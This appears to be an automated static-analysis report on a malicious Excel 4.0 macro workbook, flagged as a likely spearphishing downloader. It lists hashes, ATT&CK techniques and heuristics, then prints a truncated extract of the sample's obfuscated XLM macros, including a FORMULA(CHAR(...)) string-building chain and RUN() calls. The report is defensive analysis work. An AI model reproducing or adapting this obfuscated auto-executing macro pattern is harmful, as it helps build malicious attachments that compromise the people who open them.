Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0379359e14e9632a…

MALICIOUS

Office (OLE)

231.5 KB Created: 2020-05-15 08:31:35 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: e3399256f568b24eb42410f5700ecee7 SHA-1: dd2342b2aef3b8d9f3a7bca97be4dd7edda9c6ef SHA-256: 0379359e14e9632af17a0e95821b65e6bea20a7603bf84bf9265f2608080cc94
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains an Excel 4.0 macro sheet with an Auto_Open entry that is heavily obfuscated using chained formula and character functions. This obfuscation suggests an attempt to hide malicious code, likely intended to download and execute a secondary payload. The presence of an Auto_Open macro indicates it is designed to be delivered as a spearphishing attachment.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Obfuscated XLM Auto_Open execution chain critical OLE_XLM_OBFUSCATED_AUTOEXEC_CHAIN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and an obfuscated formula execution chain. The macro builds strings through FORMULA(CHAR(...)), primes state with SET.VALUE / GET.CELL / GOTO, and transfers control through RUN(). This is a high-confidence XLM malware pattern.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 129377 bytes
SHA-256: 7bd902d873232967410161f7ec002cff5ccef284b4ceecca1fecdc8737b26c31
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!DT47101 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,JH31,"",-0.16507177033492823059
'  Sheet,J133,"",209.00000000000000000000
'  Sheet,EV149,"",-0.09486166007905137698
'  Sheet,ET182,"",169.00000000000000000000
'  Sheet,JU291,"",0.08819241982507289301
'  Sheet,BL317,"",0.03571428571428571230
'  Sheet,W445,"",574.00000000000000000000
'  Sheet,HB515,"",1.84761904761904771632
'  Sheet,P524,"",169.00000000000000000000
'  Sheet,HW597,"",-13.47058823529411775155
'  Sheet,BC633,"",-4.80908990909090938715
'  Sheet,DY754,"",19.07843137254901932920
'  Sheet,J758,"",-502.00000000000000000000
'  Sheet,BN769,"",-116.00000000000000000000
'  Sheet,CY875,"",0.04110996916752312352
'  Sheet,HT917,"",505.00000000000000000000
'  Sheet,DX952,"",-22.87500000000000000000
'  Sheet,CB1046,"",-6.43076923076923101519
'  Sheet,ED1100,"",0.01837928153717627300
'  Sheet,EP1113,"FORMULA(CHAR(CD63160+BF58097)&CHAR(CP28111/IO16281)&CHAR(FC57863-FC40069)&CHAR(IN47745*DW16719)&CHAR(CD63160*GC45233)&CHAR(EK7546-BY31718)&CHAR(CP28111+IZ9717)&CHAR(HV48205*L49812)&CHAR(HI33413+JF39115)&CHAR(IN47745/DB57231)&CHAR(CP28111-HW64086)&CHAR(HV48205/FE10511)&CHAR(HV48205*V20744)&CHAR(FC57863*HK1940)&CHAR(HV48205*CD41554)&CHAR(CD63160-EB9960)&CHAR(CD63160-HC37746)&CHAR(IN47745+GL2857)&CHAR(HI33413+BG8540)&CHAR(DG34476-GK4139)&CHAR(FC57863*HG45989)&CHAR(IN47745/CS30928)&CHAR(FC36731+FF3868)&CHAR(DG34476*BQ49327)&CHAR(EK7546+BE51470)&CHAR(EK7546-BG65497)&CHAR(HE313/EJ15236)&CHAR(FC36731-CX50147)&CHAR(FC36731+JE28536)&CHAR(EK7546*H42680)&CHAR(CD63160+CM20957)&CHAR(CD63160-DF2575)&CHAR(DG34476/BP8335)&CHAR(FC57863-X57390)&CHAR(HE313-IB23258)&CHAR(FC36731-CN11966)&CHAR(FC36731-BH35219)&CHAR(DG34476/ID16622)&CHAR(IN47745/JE26943)&CHAR(CD63160-J40836)&CHAR(HV48205*DZ29076)&CHAR(CD63160/EG45359)&CHAR(FC57863/HI44453)&CHAR(CP28111+IO9145)&CHAR(FC57863/DM57961)&CHAR(HV48205-EA41765)&CHAR(CD63160/CM1924)&CHAR(HI33413+BD39884)&CHAR(HE313/Q26342)&CHAR(CD63160+GE14939)&CHAR(HV48205-EY37828)&CHAR(EK7546-EG39194)&CHAR(HI33413+GM25278)&CHAR(HV48205*EY42150)&CHAR(FC36731-DX48967)&CHAR(IN47745+DQ2394)&CHAR(CD63160*HP56005)&CHAR(FC36731+FV63347)&CHAR(CP28111*IE43674)&CHAR(IN47745+CW39353)&CHAR(HV48205-EK32197)&CHAR(EK7546*FN26190)&CHAR(HV48205+CV54928)&CHAR(FC57863*CM43687)&CHAR(CP28111*DU5487)&CHAR(CP28111+IL10765)&CHAR(CP28111/DP41990)&CHAR(HI33413+DR62172)&CHAR(HE313+FZ56684)&CHAR(FC57863-JD22412)&CHAR(FC36731+HS25648)&CHAR(HV48205*BM1543)&CHAR(DG34476-DK25814)&CHAR(HE313*BY58331)&CHAR(DG34476*BV35998)&CHAR(FC36731-IR51019)&CHAR(IN47745+EY2292)&CHAR(FC57863/JK37869)&CHAR(FC57863/FI43889)&CHAR(DG34476*FG17282)&CHAR(FC57863*EW30022)&CHAR(HV48205/CS21465),O28951)",""
'  Sheet,EP1114,RUN(FI60467),""
'  Sheet,HP1175,"",-551.00000000000000000000
'  Sheet,F1196,"",2319.00000000000000000000
'  Sheet,CP1247,"",-5.50000000000000000000
'  Sheet,CL1254,"",329.00000000000000000000
'  Sheet,BI1278,"",-52.50000000000000000000
'  Sheet,CY1320,"SET.VALUE(IT23468,GET.CELL(38,IT24628)*342/2)",""
'  Sheet,CY1321,RUN(IM36116),""
'  Sheet,HI1378,"",551.00000000000000000000
'  Sheet,JQ1424,"",3.20560747663551381947
'  Sheet,U1429,"",2.29670329670329653737
'  Sheet,CH1483,"",-915.00000000000000000000
'  Sheet,HO1489,"",-0.22924901185770751866
'  Sheet,DS1501,"",0.18863636363636362980
'  Sheet,DE1507,"",1.54411764705882359472
'  Sheet,CX1520,"",1.31428571428571427937
'  Sheet,BM1543,"",0.19533527696793001605
'  Sheet,DK1761,"",3.79310344827586209959
'  Sheet,CM1924,"",-5.93181818181818165669
'  Sheet,HK1940,"",0.66503667481662587235
'  Sheet,FE2032,"",148.00000000000000000000
'  Sheet,EI2061,"",-3.31034482758620685061
'  Sheet,EB2117,"",-640.00000000000000000000
'  Sheet
... (truncated)